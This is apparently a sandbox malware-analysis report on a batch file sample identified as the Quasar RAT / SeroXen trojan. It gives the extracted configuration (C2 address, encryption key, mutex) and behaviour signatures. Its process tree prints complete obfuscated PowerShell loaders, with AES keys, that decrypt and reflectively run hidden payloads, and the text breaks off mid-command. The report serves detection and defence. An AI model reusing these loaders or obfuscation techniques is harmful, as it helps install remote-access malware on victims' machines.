Resubmissions

05/04/2026, 00:05

260405-adedeaby5v10

05/04/2026, 00:04

260405-acsjmsby4s10

Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    05/04/2026, 00:05

General

  • Target
    Uni.bat
  • Size 10.4MB
  • Sample260405-adedeaby5v
  • SHA256 c4487ec16af20a4fd15e288a660c06f10f0a596b5bebe74a4be49dec5b43fa7a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.0

Botnet
  • v15.4.5 | SeroXen

C2
  • 127.0.0.1:4782

Mutex
  • e52809e9-1a5e-4da9-b62b-e802a660a49e

Attributes
  • encryption_key

    44180E184F6506ACCC2EA2A85E4150BEDDCA6722

  • install_name

    .exe

  • key_salt

    bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

  • startup_key

    $sxr-seroxen

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Seroxen family
  • Seroxen, Ser0xen

    Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft NirCmd 1 IoCs

    NirCmd is a lightweight Windows command-line tool for automating system tasks

  • Deletes itself 1 IoCs
  • Executes dropped EXE 13 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Hide Artifacts: Hidden Window 1 TTPs 11 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Drops file in System32 directory 10 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:648
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:620
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{b8e6c3e1-67ea-4351-9557-b5d39d7d3de4}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3220
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{b5af3e2b-c9c5-4e1f-8217-b28f4caf7e45}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4364
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{6a633f7f-f207-47f5-9d7e-1e4ef45e55b4}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4992
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{434cac13-87ee-4460-bec8-1472e1e8074b}
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5524
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{4da8e55b-2193-4b16-9b2f-bb269b632590}
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1244
    • C:\Windows\system32\lsass.exe
      C:\Windows\system32\lsass.exe
      1⤵
        PID:700
      • C:\Windows\System32\WUDFHost.exe
        "C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b818715d-e944-4698-97ac-28ead10ff642 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4d6e4cfb-0db0-4d1a-a080-87ddf80dde45 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a71bcfbb-8ef7-49ea-9adc-7207c22571f4 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-728d03ba-47d7-484a-9779-14c68be622b5 -LifetimeId:9f2da610-b32e-4622-97f2-386afb5a4e7c -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
        1⤵
          PID:900
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:400
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:464
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:1032
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1116
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                  1⤵
                    PID:1180
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                      PID:1220
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
                      1⤵
                        PID:1260
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                        1⤵
                          PID:1296
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                          1⤵
                            PID:1344
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                            1⤵
                              PID:1356
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                              1⤵
                                PID:1564
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1596
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:2400
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                    • Indicator Removal: Clear Windows Event Logs
                                    PID:1636
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1728
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1748
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1864
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k NetworkService -p
                                          1⤵
                                            PID:1876
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1900
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                              1⤵
                                                PID:2004
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:2028
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1604
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:716
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:2092
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:2128
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2252
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2364
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2552
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2560
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                  1⤵
                                                                    PID:2576
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                    1⤵
                                                                      PID:2672
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                      1⤵
                                                                        PID:2704
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2712
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                          1⤵
                                                                            PID:2720
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2728
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                              1⤵
                                                                                PID:2448
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:3124
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
                                                                                  2⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:1916
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    3⤵
                                                                                      PID:4688
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
                                                                                      "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $zXXNz = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($pLvOw in $zXXNz) { if ($pLvOw.StartsWith(':: ')) { $EPPIS = $pLvOw.Substring(3); break; }; };$eIswg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($EPPIS);$jfhwK = New-Object System.Security.Cryptography.AesManaged;$jfhwK.Mode = [System.Security.Cryptography.CipherMode]::CBC;$jfhwK.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$jfhwK.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+N0TWkclwC69IrSBTHjn5qBKZJllpSY0kFVDpcbNBQA=');$jfhwK.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BnhadBpbO1fGCk1Vlmpb0g==');$sZDJc = $jfhwK.CreateDecryptor();$eIswg = $sZDJc.TransformFinalBlock($eIswg, 0, $eIswg.Length);$sZDJc.Dispose();$jfhwK.Dispose();$QaFIL = New-Object System.IO.MemoryStream(, $eIswg);$abxpu = New-Object System.IO.MemoryStream;$Rnflo = New-Object System.IO.Compression.GZipStream($QaFIL, [IO.Compression.CompressionMode]::Decompress);$Rnflo.CopyTo($abxpu);$Rnflo.Dispose();$QaFIL.Dispose();$abxpu.Dispose();$eIswg = $abxpu.ToArray();$XJgsG = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($eIswg);$FMdvg = $XJgsG.EntryPoint;$FMdvg.Invoke($null, (, [string[]] ('')))
                                                                                      3⤵
                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                      • Deletes itself
                                                                                      • Executes dropped EXE
                                                                                      • Drops file in System32 directory
                                                                                      • Suspicious use of SetThreadContext
                                                                                      • Drops file in Windows directory
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:4004
                                                                                      • C:\Windows\$sxr-powershell.exe
                                                                                        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                        4⤵
                                                                                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                        • Executes dropped EXE
                                                                                        • Hide Artifacts: Hidden Window
                                                                                        • Drops file in System32 directory
                                                                                        • Suspicious use of SetThreadContext
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:4108
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = 